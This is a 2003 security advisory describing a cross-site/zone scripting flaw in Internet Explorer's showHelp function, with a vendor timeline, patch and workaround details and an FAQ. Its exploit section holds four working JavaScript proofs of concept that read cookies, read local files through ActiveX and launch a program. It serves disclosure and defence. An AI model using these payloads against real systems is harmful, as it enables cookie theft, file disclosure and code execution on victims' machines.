6th Feb 2003 [SBWID-5976]
COMMAND
IE security disabled via showHelp("file:") cross site/zone scripting
SYSTEMS AFFECTED
Internet Explorer 6.0, 5.x
PROBLEM
In Sandblad advisory #11 :
o' \,=./ `o
Author: Andreas Sandblad, [email protected] (o o)
/--=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--/
TABLE OF CONTENTS:
==================
Summary ...................................................... 1
Vendor status ................................................ 2
Details ...................................................... 3
Exploit ...................................................... 4
FAQ .......................................................... 5
Disclaimer ................................................... 6
Feedback ..................................................... 7
(1) SUMMARY:
============
The author has found a cross site/zone vulnerability in the showHelp
function. An attacker can use this vulnerability to read arbitrary
cookies/local files and execute programs with parameters leading to
total system compromise if IE is run as administrator. Users can
protect themselves by downloading the latest patch from Microsoft at:
http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/ms03-004.asp
A valid workaround is to disable Active scripting and ActiveX.
(2) VENDOR STATUS:
==================
30-10-2002:
Microsoft informed about the vulnerability.
05-02-2003:
Microsoft released MS03-004 patching the vulnerability.
(3) DETAILS:
============
The function showHelp is designed to show help files, as described at:
http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/methods/showhelp.asp
Basically, there are several security restrictions on the url argument:
1. Only urls starting with "file:" or "http:" are allowed. 2. If the
url points to a local resource, then it must be a compiled help file
with file extension .chm. 3. Compiled help files downloaded using the
http protocol are not trusted.
The problem is that if you call showHelp with the argument "file:" then
security restriction (1) gets disabled. This is quite strange
behaviour, specially since you have to restart IE to activate it again.
(Since IE is not open source, further analysis is hard to perform)
So, what can be achieved with (1) disabled? One way is to take
advantage of the javascript protocol. Remember that javascript code in
an url with the javascript protocol will be operating in the same
site/zone as the url it is applied over. Examine the following
javascript code:
showHelp("file:") // Disable security restriction
showHelp(url); // Let url be in another site/zone
showHelp("javascript:"+code); // Operating in same site/zone as url
Clearly we have a cross site/zone scripting issue. For example we can
access/control the Local computer zone using something like:
showHelp("file:");
showHelp("res://shdoclc.dll/about.dlg"); // Local computer zone
showHelp("javascript:alert('Hey, I am in the Local computer zone')");
(4) EXPLOIT:
============
The following exploits written in javascript will demonstrate how to
use the cross site/zone vulnerability to:
1. Read arbitrary cookies
2. Read any local file using the XMLHTTP ActiveX control
3. Read viewable local files the old way
4. Using the "execute programs with parameters" method
Simply put the javascript code inside a script tag of an empty html
document and upload it to a remote server. The exploits have only been
tested on a limited set of setups and may have to be altered in order
to work. Make sure you have what is required (local file exist etc...).
Exploit 1:
// Sandblad advisory #11 - Read your google cookie
showHelp("file:");showHelp("http://www.google.com/");
showHelp("javascript:alert(document.cookie)");
Exploit 2:
// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("res://shdoclc.dll/about.dlg");
showHelp("javascript:try{c=new ActiveXObject('Msxml2.XMLHTTP')}\
catch(e){c=new ActiveXObject('Microsoft.XMLHTTP')};c.open('GET',\
'file://c:/test.txt',false);c.send(null);alert(c.responseText)");
Exploit 3:
// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("file://c:/test.txt");
showHelp("javascript:alert(document.body.innerText)");
Exploit 4:
// Sandblad advisory #11 - Run the very nice game Winmine
showHelp("file:");showHelp("iexplore.chm");showHelp("res:");
showHelp("javascript:location='mk:@MSITStore:C:'");
showHelp("javascript:document.write('<object id=c classid=\
clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\\u003E<param na\
me=Command value=ShortCut\\u003E\<param name=Item1 value=,\
winmine,\\u003E</object\\u003E');c.Click();");
---
References: Sandblad advisory #10 "How to execute programs with
parameters"
http://online.securityfocus.com/archive/1/298748
(5) FAQ:
========
Q: How can I protect myself?
A: Download the patch Microsoft released (MS03-004). The easiest way is to
use their update service: http://windowsupdate.microsoft.com/
Q: What is the worst thing this vulnerability can do?
A: If you are running IE as administrator, then it can compromise your
entire system. Always run IE as a user with as few privilegies as
possible.
Q: How did you find this vulnerability?
A: It was found when developing the method described in Sandblad advisory
#10. I have to say I was a bit surprised when I found it. First I couldn't
reproduce it and had to go through all investigation steps again to
reproduce it. That was a full day of work.
Q: How do I protect myself from future cross site/zone scripting
vulnerabilities in IE?
A: Only allow active scripting and ActiveX in the trusted zone. Add those
sites you trust into that zone.
Q: What should Microsoft do to make future cross site/zone scripting
vulnerabilities less dangerous?
A: Totally cut of the possibility for content in the Internet zone to
interfere with the Local computer zone. Some attempts were introduced in
SP1, such as denying links to local resources. Not enough, as shown by
various security researchers.
SOLUTION
The author has been working with the vendor to fix the vulnerability. A
patch (MS03-004) can be downloaded from
http://windowsupdate.microsoft.com/
Workaround:
===========
Disable Active scripting and ActiveX